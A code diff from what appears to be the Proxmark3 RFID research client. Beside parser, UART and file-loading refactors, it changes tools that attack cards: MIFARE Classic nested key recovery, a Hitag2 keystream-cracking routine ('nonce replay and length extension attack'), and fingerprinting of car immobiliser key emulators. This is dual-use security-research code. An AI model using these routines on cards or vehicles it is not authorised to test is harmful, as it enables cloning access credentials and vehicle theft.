@ -1617,6 +1617,7 @@ static int CmdHF14AMfNested(const char *Cmd) { //TODO: single mode broken? can't
arg_lit0(NULL, "emu", "Fill simulator keys from found keys"), arg_lit0(NULL, "emu", "Fill simulator keys from found keys"),
arg_lit0(NULL, "dump", "Dump found keys to file"), arg_lit0(NULL, "dump", "Dump found keys to file"),
arg_lit0(NULL, "mem", "Use dictionary from flashmemory"), arg_lit0(NULL, "mem", "Use dictionary from flashmemory"),
arg_lit0("i", NULL, "Ignore static encrypted nonces"),
arg_param_end arg_param_end
}; };
CLIExecWithReturn(ctx, Cmd, argtable, false); CLIExecWithReturn(ctx, Cmd, argtable, false);
@ -1658,6 +1659,7 @@ static int CmdHF14AMfNested(const char *Cmd) { //TODO: single mode broken? can't
bool createDumpFile = arg_get_lit(ctx, 13); bool createDumpFile = arg_get_lit(ctx, 13);
bool singleSector = trgBlockNo > -1; bool singleSector = trgBlockNo > -1;
bool use_flashmemory = arg_get_lit(ctx, 14); bool use_flashmemory = arg_get_lit(ctx, 14);
bool ignore_static_encrypted = arg_get_lit(ctx, 15);
CLIParserFree(ctx); CLIParserFree(ctx);
@ -1728,7 +1730,7 @@ static int CmdHF14AMfNested(const char *Cmd) { //TODO: single mode broken? can't
} }
if (singleSector) { if (singleSector) {
int16_t isOK = mfnested(blockNo, keyType, key, trgBlockNo, trgKeyType, keyBlock, true); int16_t isOK = mfnested(blockNo, keyType, key, trgBlockNo, trgKeyType, keyBlock, !ignore_static_encrypted);
switch (isOK) { switch (isOK) {
case PM3_ETIMEOUT: case PM3_ETIMEOUT:
PrintAndLogEx(ERR, "Command execute timeout\n"); PrintAndLogEx(ERR, "Command execute timeout\n");
@ -1803,7 +1805,7 @@ static int CmdHF14AMfNested(const char *Cmd) { //TODO: single mode broken? can't
PrintAndLogEx(SUCCESS, "enter nested key recovery"); PrintAndLogEx(SUCCESS, "enter nested key recovery");
// nested sectors // nested sectors
bool calibrate = true; bool calibrate = !ignore_static_encrypted;
for (trgKeyType = MF_KEY_A; trgKeyType <= MF_KEY_B; ++trgKeyType) { for (trgKeyType = MF_KEY_A; trgKeyType <= MF_KEY_B; ++trgKeyType) {
for (uint8_t sectorNo = 0; sectorNo < SectorsCnt; ++sectorNo) { for (uint8_t sectorNo = 0; sectorNo < SectorsCnt; ++sectorNo) {

View file

@ -974,7 +974,7 @@ static int CmdEM4x50Write(const char *Cmd) {
em4x50_prepare_result(data, addr, addr, words); em4x50_prepare_result(data, addr, addr, words);
em4x50_print_result(words, addr, addr); em4x50_print_result(words, addr, addr);
PrintAndLogEx(SUCCESS, "Write ( " _GREEN_("ok") " )"); PrintAndLogEx(SUCCESS, "Write ( " _GREEN_("ok") " )");
PrintAndLogEx(HINT, "Try `" _YELLOW_("lf em 4x50 rdbl -a %u") "` - to read your data", addr); PrintAndLogEx(HINT, "Try `" _YELLOW_("lf em 4x50 rdbl -b %u") "` - to read your data", addr);
PrintAndLogEx(INFO, "Done!"); PrintAndLogEx(INFO, "Done!");
return PM3_SUCCESS; return PM3_SUCCESS;
} }

View file

@ -766,6 +766,26 @@ void annotateHitag2(char *exp, size_t size, const uint8_t *cmd, uint8_t cmdsize,
void annotateHitagS(char *exp, size_t size, const uint8_t *cmd, uint8_t cmdsize, bool is_response) { void annotateHitagS(char *exp, size_t size, const uint8_t *cmd, uint8_t cmdsize, bool is_response) {
} }
static const char *identify_transponder_hitag2(uint32_t uid) {
switch (uid) {
case 0x53505910:
return "IMMO Key emulator";
break;
case 0x5accc811:
case 0x5accc821:
case 0x5accc831:
case 0x5accc841:
case 0x5accc851:
case 0x5accc861:
case 0x5accc871:
case 0x5accc881:
case 0x5accc891:
case 0x5accc8B1:
return "CN3 Tango Key emulator";
}
return "";
}
static bool getHitag2Uid(uint32_t *uid) { static bool getHitag2Uid(uint32_t *uid) {
@ -822,10 +842,52 @@ static int CmdLFHitagInfo(const char *Cmd) {
// print_hitag2_configuration(uid, 0x02); // print_hitag2_configuration(uid, 0x02);
// print_hitag2_configuration(uid, 0x00); // print_hitag2_configuration(uid, 0x00);
// print_hitag2_configuration(uid, 0x04); // print_hitag2_configuration(uid, 0x04);
PrintAndLogEx(INFO, "--- " _CYAN_("Fingerprint"));
const char *s = identify_transponder_hitag2(uid);
if (strlen(s)) {
PrintAndLogEx(SUCCESS, "Found... " _GREEN_("%s"), s);
} else {
PrintAndLogEx(INFO, _RED_("n/a"));
}
PrintAndLogEx(NORMAL, "");
return PM3_SUCCESS; return PM3_SUCCESS;
} }
static int CmdLFHitagReader(const char *Cmd) { static int CmdLFHitagReader(const char *Cmd) {
CLIParserContext *ctx;
CLIParserInit(&ctx, "lf hitag reader",
"Act as a Hitag2 reader. Look for Hitag2 tags until Enter or the pm3 button is pressed\n",
"lf hitag reader\n"
"lf hitag reader -@ -> Continuous mode"
);
void *argtable[] = {
arg_param_begin,
arg_lit0("@", NULL, "continuous reader mode"),
arg_param_end
};
CLIExecWithReturn(ctx, Cmd, argtable, true);
bool cm = arg_get_lit(ctx, 1);
CLIParserFree(ctx);
if (cm) {
PrintAndLogEx(INFO, "Press " _GREEN_("<Enter>") " to exit");
}
do {
// read UID
uint32_t uid = 0;
if (getHitag2Uid(&uid)) {
PrintAndLogEx(SUCCESS, "UID.... " _GREEN_("%08X"), uid);
}
} while (cm && kbd_enter_pressed() == false);
return PM3_SUCCESS;
}
static int CmdLFHitagRd(const char *Cmd) {
CLIParserContext *ctx; CLIParserContext *ctx;
CLIParserInit(&ctx, "lf hitag read", CLIParserInit(&ctx, "lf hitag read",
@ -1453,7 +1515,7 @@ static int CmdLFHitag2Dump(const char *Cmd) {
memcpy(packet.NrAr, nrar, sizeof(packet.NrAr)); memcpy(packet.NrAr, nrar, sizeof(packet.NrAr));
PrintAndLogEx(INFO, _YELLOW_("Hitag 2") " - Challenge mode (NrAR)"); PrintAndLogEx(INFO, _YELLOW_("Hitag 2") " - Challenge mode (NrAr)");
uint64_t t1 = msclock(); uint64_t t1 = msclock();
@ -2169,7 +2231,7 @@ static int CmdLFHitag2Lookup(const char *Cmd) {
static int CmdLFHitag2Crack2(const char *Cmd) { static int CmdLFHitag2Crack2(const char *Cmd) {
CLIParserContext *ctx; CLIParserContext *ctx;
CLIParserInit(&ctx, "lf hitag lookup", CLIParserInit(&ctx, "lf hitag crack2",
"This command tries to recover 2048 bits of Hitag2 crypto stream data.\n", "This command tries to recover 2048 bits of Hitag2 crypto stream data.\n",
"lf hitag crack2 --nrar 73AA5A62EAB8529C" "lf hitag crack2 --nrar 73AA5A62EAB8529C"
); );
@ -2196,7 +2258,7 @@ static int CmdLFHitag2Crack2(const char *Cmd) {
memset(&packet, 0, sizeof(packet)); memset(&packet, 0, sizeof(packet));
memcpy(packet.NrAr, nrar, sizeof(packet.NrAr)); memcpy(packet.NrAr, nrar, sizeof(packet.NrAr));
PrintAndLogEx(INFO, _YELLOW_("Hitag 2") " - Crack2 (NrAR)"); PrintAndLogEx(INFO, _YELLOW_("Hitag 2") " - Nonce replay and length extension attack ( Crack2 )");
uint64_t t1 = msclock(); uint64_t t1 = msclock();
@ -2205,23 +2267,32 @@ static int CmdLFHitag2Crack2(const char *Cmd) {
SendCommandNG(CMD_LF_HITAG2_CRACK_2, (uint8_t *) &packet, sizeof(packet)); SendCommandNG(CMD_LF_HITAG2_CRACK_2, (uint8_t *) &packet, sizeof(packet));
// loop // loop
uint8_t attempt = 30; uint8_t attempt = 50;
do { do {
PrintAndLogEx(INPLACE, "Attack 2 running..."); // PrintAndLogEx(INPLACE, "Attack 2 running...");
fflush(stdout); // fflush(stdout);
if (WaitForResponseTimeout(CMD_LF_HITAG2_CRACK_2, &resp, 1000) == false) { if (WaitForResponseTimeout(CMD_LF_HITAG2_CRACK_2, &resp, 1000) == false) {
attempt--; attempt--;
continue; continue;
} }
// lf_hitag_crack_response_t *payload = (lf_hitag_crack_response_t *)resp.data.asBytes;
if (resp.status == PM3_SUCCESS) { if (resp.status == PM3_SUCCESS) {
PrintAndLogEx(NORMAL, " ( %s )", _GREEN_("ok"));
PrintAndLogEx(SUCCESS, "--------------------- " _CYAN_("Recovered Keystream") " ----------------------");
lf_hitag_crack_response_t *payload = (lf_hitag_crack_response_t *)resp.data.asBytes;
for (int i = 0; i < 256; i += 32) {
PrintAndLogEx(SUCCESS, "%s", sprint_hex_inrow(payload->data + i, 32));
}
PrintAndLogEx(NORMAL, "");
PrintAndLogEx(SUCCESS, "Nonce replay and length extension attack ( %s )", _GREEN_("ok"));
PrintAndLogEx(HINT, "try running `tools/hitag2crack/crack2/ht2crack2search <FILE_with_above_bytes>");
break; break;
} else { } else {
PrintAndLogEx(NORMAL, " ( %s )", _RED_("fail")); PrintAndLogEx(NORMAL, "");
PrintAndLogEx(FAILED, "Nonce replay and length extension attack ( %s )", _RED_("fail"));
break; break;
} }
@ -2395,11 +2466,12 @@ static command_t CommandTable[] = {
{"list", CmdLFHitagList, AlwaysAvailable, "List Hitag trace history"}, {"list", CmdLFHitagList, AlwaysAvailable, "List Hitag trace history"},
{"-----------", CmdHelp, IfPm3Hitag, "------------------------ " _CYAN_("General") " ------------------------"}, {"-----------", CmdHelp, IfPm3Hitag, "------------------------ " _CYAN_("General") " ------------------------"},
{"info", CmdLFHitagInfo, IfPm3Hitag, "Hitag 2 tag information"}, {"info", CmdLFHitagInfo, IfPm3Hitag, "Hitag 2 tag information"},
{"reader", CmdLFHitagReader, IfPm3Hitag, "Act line an Hitag 2 reader"},
{"test", CmdLFHitag2Selftest, AlwaysAvailable, "Perform self tests"}, {"test", CmdLFHitag2Selftest, AlwaysAvailable, "Perform self tests"},
{"-----------", CmdHelp, IfPm3Hitag, "----------------------- " _CYAN_("Operations") " -----------------------"}, {"-----------", CmdHelp, IfPm3Hitag, "----------------------- " _CYAN_("Operations") " -----------------------"},
// {"demod", CmdLFHitag2PWMDemod, IfPm3Hitag, "PWM Hitag 2 reader message demodulation"}, // {"demod", CmdLFHitag2PWMDemod, IfPm3Hitag, "PWM Hitag 2 reader message demodulation"},
{"dump", CmdLFHitag2Dump, IfPm3Hitag, "Dump Hitag 2 tag"}, {"dump", CmdLFHitag2Dump, IfPm3Hitag, "Dump Hitag 2 tag"},
{"read", CmdLFHitagReader, IfPm3Hitag, "Read Hitag memory"}, {"read", CmdLFHitagRd, IfPm3Hitag, "Read Hitag memory"},
{"sniff", CmdLFHitagSniff, IfPm3Hitag, "Eavesdrop Hitag communication"}, {"sniff", CmdLFHitagSniff, IfPm3Hitag, "Eavesdrop Hitag communication"},
{"view", CmdLFHitagView, AlwaysAvailable, "Display content from tag dump file"}, {"view", CmdLFHitagView, AlwaysAvailable, "Display content from tag dump file"},
{"wrbl", CmdLFHitagWriter, IfPm3Hitag, "Write a block (page) in Hitag memory"}, {"wrbl", CmdLFHitagWriter, IfPm3Hitag, "Write a block (page) in Hitag memory"},

View file

@ -161,8 +161,9 @@ static void SendCommandNG_internal(uint16_t cmd, uint8_t *data, size_t len, bool
txBufferNG.pre.ng = ng; txBufferNG.pre.ng = ng;
txBufferNG.pre.length = len; txBufferNG.pre.length = len;
txBufferNG.pre.cmd = cmd; txBufferNG.pre.cmd = cmd;
if (len > 0 && data) if (len > 0 && data) {
memcpy(&txBufferNG.data, data, len); memcpy(&txBufferNG.data, data, len);
}
if ((g_conn.send_via_fpc_usart && g_conn.send_with_crc_on_fpc) || ((!g_conn.send_via_fpc_usart) && g_conn.send_with_crc_on_usb)) { if ((g_conn.send_via_fpc_usart && g_conn.send_with_crc_on_fpc) || ((!g_conn.send_via_fpc_usart) && g_conn.send_with_crc_on_usb)) {
uint8_t first = 0, second = 0; uint8_t first = 0, second = 0;
@ -474,12 +475,15 @@ __attribute__((force_align_arg_pointer))
res = uart_receive(sp, (uint8_t *)&rx_raw.pre, sizeof(PacketResponseNGPreamble), &rxlen); res = uart_receive(sp, (uint8_t *)&rx_raw.pre, sizeof(PacketResponseNGPreamble), &rxlen);
if ((res == PM3_SUCCESS) && (rxlen == sizeof(PacketResponseNGPreamble))) { if ((res == PM3_SUCCESS) && (rxlen == sizeof(PacketResponseNGPreamble))) {
rx.magic = rx_raw.pre.magic; rx.magic = rx_raw.pre.magic;
uint16_t length = rx_raw.pre.length; uint16_t length = rx_raw.pre.length;
rx.ng = rx_raw.pre.ng; rx.ng = rx_raw.pre.ng;
rx.status = rx_raw.pre.status; rx.status = rx_raw.pre.status;
rx.cmd = rx_raw.pre.cmd; rx.cmd = rx_raw.pre.cmd;
if (rx.magic == RESPONSENG_PREAMBLE_MAGIC) { // New style NG reply if (rx.magic == RESPONSENG_PREAMBLE_MAGIC) { // New style NG reply
if (length > PM3_CMD_DATA_SIZE) { if (length > PM3_CMD_DATA_SIZE) {
PrintAndLogEx(WARNING, "Received packet frame with incompatible length: 0x%04x", length); PrintAndLogEx(WARNING, "Received packet frame with incompatible length: 0x%04x", length);
error = true; error = true;
@ -488,30 +492,38 @@ __attribute__((force_align_arg_pointer))
if ((!error) && (length > 0)) { // Get the variable length payload if ((!error) && (length > 0)) { // Get the variable length payload
res = uart_receive(sp, (uint8_t *)&rx_raw.data, length, &rxlen); res = uart_receive(sp, (uint8_t *)&rx_raw.data, length, &rxlen);
if ((res != PM3_SUCCESS) || (rxlen != length)) { if ((res != PM3_SUCCESS) || (rxlen != length)) {
PrintAndLogEx(WARNING, "Received packet frame with variable part too short? %d/%d", rxlen, length); PrintAndLogEx(WARNING, "Received packet frame with variable part too short? %d/%d", rxlen, length);
error = true; error = true;
} else { } else {
if (rx.ng) { // Received a valid NG frame if (rx.ng) { // Received a valid NG frame
memcpy(&rx.data, &rx_raw.data, length); memcpy(&rx.data, &rx_raw.data, length);
rx.length = length; rx.length = length;
if ((rx.cmd == g_conn.last_command) && (rx.status == PM3_SUCCESS)) { if ((rx.cmd == g_conn.last_command) && (rx.status == PM3_SUCCESS)) {
ACK_received = true; ACK_received = true;
} }
} else { } else {
uint64_t arg[3]; uint64_t arg[3];
if (length < sizeof(arg)) { if (length < sizeof(arg)) {
PrintAndLogEx(WARNING, "Received MIX packet frame with incompatible length: 0x%04x", length); PrintAndLogEx(WARNING, "Received MIX packet frame with incompatible length: 0x%04x", length);
error = true; error = true;
} }
if (!error) { // Received a valid MIX frame if (!error) { // Received a valid MIX frame
memcpy(arg, &rx_raw.data, sizeof(arg)); memcpy(arg, &rx_raw.data, sizeof(arg));
rx.oldarg[0] = arg[0]; rx.oldarg[0] = arg[0];
rx.oldarg[1] = arg[1]; rx.oldarg[1] = arg[1];
rx.oldarg[2] = arg[2]; rx.oldarg[2] = arg[2];
memcpy(&rx.data, ((uint8_t *)&rx_raw.data) + sizeof(arg), length - sizeof(arg)); memcpy(&rx.data, ((uint8_t *)&rx_raw.data) + sizeof(arg), length - sizeof(arg));
rx.length = length - sizeof(arg); rx.length = length - sizeof(arg);
if (rx.cmd == CMD_ACK) { if (rx.cmd == CMD_ACK) {
ACK_received = true; ACK_received = true;
} }
@ -519,12 +531,14 @@ __attribute__((force_align_arg_pointer))
} }
} }
} else if ((!error) && (length == 0)) { // we received an empty frame } else if ((!error) && (length == 0)) { // we received an empty frame
if (rx.ng)
if (rx.ng) {
rx.length = 0; // set received length to 0 rx.length = 0; // set received length to 0
else { // old frames can't be empty } else { // old frames can't be empty
PrintAndLogEx(WARNING, "Received empty MIX packet frame (length: 0x00)"); PrintAndLogEx(WARNING, "Received empty MIX packet frame (length: 0x00)");
error = true; error = true;
} }
} }
if (!error) { // Get the postamble if (!error) { // Get the postamble
@ -537,9 +551,12 @@ __attribute__((force_align_arg_pointer))
if (!error) { // Check CRC, accept MAGIC as placeholder if (!error) { // Check CRC, accept MAGIC as placeholder
rx.crc = rx_raw.foopost.crc; rx.crc = rx_raw.foopost.crc;
if (rx.crc != RESPONSENG_POSTAMBLE_MAGIC) { if (rx.crc != RESPONSENG_POSTAMBLE_MAGIC) {
uint8_t first, second; uint8_t first, second;
compute_crc(CRC_14443_A, (uint8_t *)&rx_raw, sizeof(PacketResponseNGPreamble) + length, &first, &second); compute_crc(CRC_14443_A, (uint8_t *)&rx_raw, sizeof(PacketResponseNGPreamble) + length, &first, &second);
if ((first << 8) + second != rx.crc) { if ((first << 8) + second != rx.crc) {
PrintAndLogEx(WARNING, "Received packet frame with invalid CRC %02X%02X <> %04X", first, second, rx.crc); PrintAndLogEx(WARNING, "Received packet frame with invalid CRC %02X%02X <> %04X", first, second, rx.crc);
error = true; error = true;

View file

@ -2162,14 +2162,18 @@ int loadFileDICTIONARY(const char *preferredName, void *data, size_t *datalen, u
int loadFileDICTIONARYEx(const char *preferredName, void *data, size_t maxdatalen, size_t *datalen, uint8_t keylen, uint32_t *keycnt, int loadFileDICTIONARYEx(const char *preferredName, void *data, size_t maxdatalen, size_t *datalen, uint8_t keylen, uint32_t *keycnt,
size_t startFilePosition, size_t *endFilePosition, bool verbose) { size_t startFilePosition, size_t *endFilePosition, bool verbose) {
if (data == NULL) return PM3_EINVARG; if (data == NULL) {
return PM3_EINVARG;
}
if (endFilePosition) if (endFilePosition) {
*endFilePosition = 0; *endFilePosition = 0;
}
char *path; char *path;
if (searchFile(&path, DICTIONARIES_SUBDIR, preferredName, ".dic", false) != PM3_SUCCESS) if (searchFile(&path, DICTIONARIES_SUBDIR, preferredName, ".dic", false) != PM3_SUCCESS) {
return PM3_EFILE; return PM3_EFILE;
}
// double up since its chars // double up since its chars
keylen <<= 1; keylen <<= 1;
@ -2201,8 +2205,9 @@ int loadFileDICTIONARYEx(const char *preferredName, void *data, size_t maxdatale
long filepos = ftell(f); long filepos = ftell(f);
if (!fgets(line, sizeof(line), f)) { if (!fgets(line, sizeof(line), f)) {
if (endFilePosition) if (endFilePosition) {
*endFilePosition = 0; *endFilePosition = 0;
}
break; break;
} }
@ -2210,39 +2215,50 @@ int loadFileDICTIONARYEx(const char *preferredName, void *data, size_t maxdatale
line[keylen] = 0; line[keylen] = 0;
// smaller keys than expected is skipped // smaller keys than expected is skipped
if (strlen(line) < keylen) if (strlen(line) < keylen) {
continue; continue;
}
// The line start with # is comment, skip // The line start with # is comment, skip
if (line[0] == '#') if (line[0] == '#') {
continue; continue;
}
if (!CheckStringIsHEXValue(line)) if (!CheckStringIsHEXValue(line)) {
continue; continue;
}
// cant store more data // cant store more data
if (maxdatalen && (counter + (keylen >> 1) > maxdatalen)) { if (maxdatalen && (counter + (keylen >> 1) > maxdatalen)) {
retval = 1; retval = 1;
if (endFilePosition) if (endFilePosition) {
*endFilePosition = filepos; *endFilePosition = filepos;
}
break; break;
} }
if (hex_to_bytes(line, udata + counter, keylen >> 1) != (keylen >> 1)) if (hex_to_bytes(line, udata + counter, keylen >> 1) != (keylen >> 1)) {
continue; continue;
}
vkeycnt++; vkeycnt++;
memset(line, 0, sizeof(line)); memset(line, 0, sizeof(line));
counter += (keylen >> 1); counter += (keylen >> 1);
} }
fclose(f);
if (verbose)
PrintAndLogEx(SUCCESS, "Loaded " _GREEN_("%2d") " keys from dictionary file `" _YELLOW_("%s") "`", vkeycnt, path);
if (datalen) fclose(f);
if (verbose) {
PrintAndLogEx(SUCCESS, "Loaded " _GREEN_("%2d") " keys from dictionary file `" _YELLOW_("%s") "`", vkeycnt, path);
}
if (datalen) {
*datalen = counter; *datalen = counter;
if (keycnt) }
if (keycnt) {
*keycnt = vkeycnt; *keycnt = vkeycnt;
}
out: out:
free(path); free(path);
return retval; return retval;
@ -2253,8 +2269,9 @@ int loadFileDICTIONARY_safe(const char *preferredName, void **pdata, uint8_t key
int retval = PM3_SUCCESS; int retval = PM3_SUCCESS;
char *path; char *path;
if (searchFile(&path, DICTIONARIES_SUBDIR, preferredName, ".dic", false) != PM3_SUCCESS) if (searchFile(&path, DICTIONARIES_SUBDIR, preferredName, ".dic", false) != PM3_SUCCESS) {
return PM3_EFILE; return PM3_EFILE;
}
// t5577 == 4bytes // t5577 == 4bytes
// mifare == 6 bytes // mifare == 6 bytes
@ -2311,15 +2328,18 @@ int loadFileDICTIONARY_safe(const char *preferredName, void **pdata, uint8_t key
line[keylen] = 0; line[keylen] = 0;
// smaller keys than expected is skipped // smaller keys than expected is skipped
if (strlen(line) < keylen) if (strlen(line) < keylen) {
continue; continue;
}
// The line start with # is comment, skip // The line start with # is comment, skip
if (line[0] == '#') if (line[0] == '#') {
continue; continue;
}
if (!CheckStringIsHEXValue(line)) if (!CheckStringIsHEXValue(line)) {
continue; continue;
}
uint64_t key = strtoull(line, NULL, 16); uint64_t key = strtoull(line, NULL, 16);
@ -2330,6 +2350,7 @@ int loadFileDICTIONARY_safe(const char *preferredName, void **pdata, uint8_t key
memset(line, 0, sizeof(line)); memset(line, 0, sizeof(line));
} }
fclose(f); fclose(f);
PrintAndLogEx(SUCCESS, "Loaded " _GREEN_("%2d") " keys from dictionary file `" _YELLOW_("%s") "`", *keycnt, path); PrintAndLogEx(SUCCESS, "Loaded " _GREEN_("%2d") " keys from dictionary file `" _YELLOW_("%s") "`", *keycnt, path);
out: out:
@ -2453,7 +2474,9 @@ mfu_df_e detect_mfu_dump_format(uint8_t **dump, bool verbose) {
return retval; return retval;
} }
nfc_df_e detect_nfc_dump_format(const char *preferredName, bool verbose) { int detect_nfc_dump_format(const char *preferredName, nfc_df_e *dump_type, bool verbose) {
*dump_type = NFC_DF_UNKNOWN;
char *path; char *path;
int res = searchFile(&path, RESOURCES_SUBDIR, preferredName, "", false); int res = searchFile(&path, RESOURCES_SUBDIR, preferredName, "", false);
@ -2469,8 +2492,6 @@ nfc_df_e detect_nfc_dump_format(const char *preferredName, bool verbose) {
} }
free(path); free(path);
nfc_df_e retval = NFC_DF_UNKNOWN;
char line[256]; char line[256];
memset(line, 0, sizeof(line)); memset(line, 0, sizeof(line));
@ -2492,31 +2513,31 @@ nfc_df_e detect_nfc_dump_format(const char *preferredName, bool verbose) {
str_lower(line); str_lower(line);
if (str_startswith(line, "device type: ntag")) { if (str_startswith(line, "device type: ntag")) {
retval = NFC_DF_MFU; *dump_type = NFC_DF_MFU;
break; break;
} }
if (str_startswith(line, "device type: mifare classic")) { if (str_startswith(line, "device type: mifare classic")) {
retval = NFC_DF_MFC; *dump_type = NFC_DF_MFC;
break; break;
} }
if (str_startswith(line, "device type: mifare desfire")) { if (str_startswith(line, "device type: mifare desfire")) {
retval = NFC_DF_MFDES; *dump_type = NFC_DF_MFDES;
break; break;
} }
if (str_startswith(line, "device type: iso14443-3a")) { if (str_startswith(line, "device type: iso14443-3a")) {
retval = NFC_DF_14_3A; *dump_type = NFC_DF_14_3A;
break; break;
} }
if (str_startswith(line, "device type: iso14443-3b")) { if (str_startswith(line, "device type: iso14443-3b")) {
retval = NFC_DF_14_3B; *dump_type = NFC_DF_14_3B;
break; break;
} }
if (str_startswith(line, "device type: iso14443-4a")) { if (str_startswith(line, "device type: iso14443-4a")) {
retval = NFC_DF_14_4A; *dump_type = NFC_DF_14_4A;
break; break;
} }
if (str_startswith(line, "filetype: flipper picopass device")) { if (str_startswith(line, "filetype: flipper picopass device")) {
retval = NFC_DF_PICOPASS; *dump_type = NFC_DF_PICOPASS;
break; break;
} }
@ -2524,7 +2545,7 @@ nfc_df_e detect_nfc_dump_format(const char *preferredName, bool verbose) {
fclose(f); fclose(f);
if (verbose) { if (verbose) {
switch (retval) { switch (*dump_type) {
case NFC_DF_MFU: case NFC_DF_MFU:
PrintAndLogEx(INFO, "Detected MIFARE Ultralight / NTAG based dump format"); PrintAndLogEx(INFO, "Detected MIFARE Ultralight / NTAG based dump format");
break; break;
@ -2551,7 +2572,7 @@ nfc_df_e detect_nfc_dump_format(const char *preferredName, bool verbose) {
break; break;
} }
} }
return retval; return PM3_SUCCESS;
} }
static int convert_plain_mfu_dump(uint8_t **dump, size_t *dumplen, bool verbose) { static int convert_plain_mfu_dump(uint8_t **dump, size_t *dumplen, bool verbose) {
@ -2996,15 +3017,20 @@ int pm3_load_dump(const char *fn, void **pdump, size_t *dumplen, size_t maxdumpl
break; break;
} }
case FLIPPER: { case FLIPPER: {
nfc_df_e foo = detect_nfc_dump_format(fn, true); nfc_df_e dumptype;
if (foo == NFC_DF_MFC || foo == NFC_DF_MFU || foo == NFC_DF_PICOPASS) { res = detect_nfc_dump_format(fn, &dumptype, true);
if (res != SUCCESS) {
break;
}
if (dumptype == NFC_DF_MFC || dumptype == NFC_DF_MFU || dumptype == NFC_DF_PICOPASS) {
*pdump = calloc(maxdumplen, sizeof(uint8_t)); *pdump = calloc(maxdumplen, sizeof(uint8_t));
if (*pdump == NULL) { if (*pdump == NULL) {
PrintAndLogEx(WARNING, "Fail, cannot allocate memory"); PrintAndLogEx(WARNING, "Fail, cannot allocate memory");
return PM3_EMALLOC; return PM3_EMALLOC;
} }
res = loadFileNFC_safe(fn, *pdump, maxdumplen, dumplen, foo); res = loadFileNFC_safe(fn, *pdump, maxdumplen, dumplen, dumptype);
if (res == PM3_SUCCESS) { if (res == PM3_SUCCESS) {
return res; return res;
} }
@ -3016,6 +3042,9 @@ int pm3_load_dump(const char *fn, void **pdump, size_t *dumplen, size_t maxdumpl
} else if (res == PM3_EMALLOC) { } else if (res == PM3_EMALLOC) {
PrintAndLogEx(WARNING, "wrong size of allocated memory. Check your parameters"); PrintAndLogEx(WARNING, "wrong size of allocated memory. Check your parameters");
} }
} else {
// unknown dump file type
res = PM3_ESOFT;
} }
break; break;
} }

View file

@ -289,7 +289,7 @@ int loadFileBinaryKey(const char *preferredName, const char *suffix, void **keya
*/ */
int convert_mfu_dump_format(uint8_t **dump, size_t *dumplen, bool verbose); int convert_mfu_dump_format(uint8_t **dump, size_t *dumplen, bool verbose);
mfu_df_e detect_mfu_dump_format(uint8_t **dump, bool verbose); mfu_df_e detect_mfu_dump_format(uint8_t **dump, bool verbose);
nfc_df_e detect_nfc_dump_format(const char *preferredName, bool verbose); int detect_nfc_dump_format(const char *preferredName, nfc_df_e *dump_type, bool verbose);
int searchAndList(const char *pm3dir, const char *ext); int searchAndList(const char *pm3dir, const char *ext);
int searchFile(char **foundpath, const char *pm3dir, const char *searchname, const char *suffix, bool silent); int searchFile(char **foundpath, const char *pm3dir, const char *searchname, const char *suffix, bool silent);

View file

@ -279,6 +279,8 @@ const static vocabulary_t vocabulary[] = {
{ 0, "hf iclass chk" }, { 0, "hf iclass chk" },
{ 1, "hf iclass loclass" }, { 1, "hf iclass loclass" },
{ 1, "hf iclass lookup" }, { 1, "hf iclass lookup" },
{ 0, "hf iclass legrec" },
{ 1, "hf iclass legbrute" },
{ 0, "hf iclass sim" }, { 0, "hf iclass sim" },
{ 0, "hf iclass eload" }, { 0, "hf iclass eload" },
{ 0, "hf iclass esave" }, { 0, "hf iclass esave" },
@ -623,6 +625,7 @@ const static vocabulary_t vocabulary[] = {
{ 0, "lf em 4x70 auth" }, { 0, "lf em 4x70 auth" },
{ 0, "lf em 4x70 setpin" }, { 0, "lf em 4x70 setpin" },
{ 0, "lf em 4x70 setkey" }, { 0, "lf em 4x70 setkey" },
{ 1, "lf em 4x70 calc" },
{ 1, "lf em 4x70 recover" }, { 1, "lf em 4x70 recover" },
{ 0, "lf em 4x70 autorecover" }, { 0, "lf em 4x70 autorecover" },
{ 1, "lf fdxb help" }, { 1, "lf fdxb help" },
@ -650,6 +653,7 @@ const static vocabulary_t vocabulary[] = {
{ 1, "lf hitag help" }, { 1, "lf hitag help" },
{ 1, "lf hitag list" }, { 1, "lf hitag list" },
{ 0, "lf hitag info" }, { 0, "lf hitag info" },
{ 0, "lf hitag reader" },
{ 1, "lf hitag test" }, { 1, "lf hitag test" },
{ 0, "lf hitag dump" }, { 0, "lf hitag dump" },
{ 0, "lf hitag read" }, { 0, "lf hitag read" },

View file

@ -387,11 +387,15 @@ serial_port uart_open(const char *pcPortName, uint32_t speed, bool slient) {
return INVALID_SERIAL_PORT; return INVALID_SERIAL_PORT;
} }
// Flush all lingering data that may exist
tcflush(sp->fd, TCIOFLUSH);
// Duplicate the (old) terminal info struct // Duplicate the (old) terminal info struct
sp->tiNew = sp->tiOld; sp->tiNew = sp->tiOld;
// Configure the serial port // Configure the serial port.
sp->tiNew.c_cflag = CS8 | CLOCAL | CREAD; // fix: default to 115200 here seems to fix the white dongle issue. Will need to check proxbuilds later.
sp->tiNew.c_cflag = B115200 | CS8 | CLOCAL | CREAD;
sp->tiNew.c_iflag = IGNPAR; sp->tiNew.c_iflag = IGNPAR;
sp->tiNew.c_oflag = 0; sp->tiNew.c_oflag = 0;
sp->tiNew.c_lflag = 0; sp->tiNew.c_lflag = 0;
@ -401,6 +405,17 @@ serial_port uart_open(const char *pcPortName, uint32_t speed, bool slient) {
// Block until a timer expires (n * 100 mSec.) // Block until a timer expires (n * 100 mSec.)
sp->tiNew.c_cc[VTIME] = 0; sp->tiNew.c_cc[VTIME] = 0;
// more configurations
sp->tiNew.c_cc[VINTR] = 0; /* Ctrl-c */
sp->tiNew.c_cc[VQUIT] = 0; /* Ctrl-\ */
sp->tiNew.c_cc[VERASE] = 0; /* del */
sp->tiNew.c_cc[VKILL] = 0; /* @ */
sp->tiNew.c_cc[VEOF] = 4; /* Ctrl-d */
sp->tiNew.c_cc[VSTART] = 0; /* Ctrl-q */
sp->tiNew.c_cc[VSTOP] = 0; /* Ctrl-s */
sp->tiNew.c_cc[VSUSP] = 0; /* Ctrl-z */
sp->tiNew.c_cc[VEOL] = 0; /* '\0' */
// Try to set the new terminal info struct // Try to set the new terminal info struct
if (tcsetattr(sp->fd, TCSANOW, &sp->tiNew) == -1) { if (tcsetattr(sp->fd, TCSANOW, &sp->tiNew) == -1) {
PrintAndLogEx(ERR, "error: UART set terminal info attribute"); PrintAndLogEx(ERR, "error: UART set terminal info attribute");
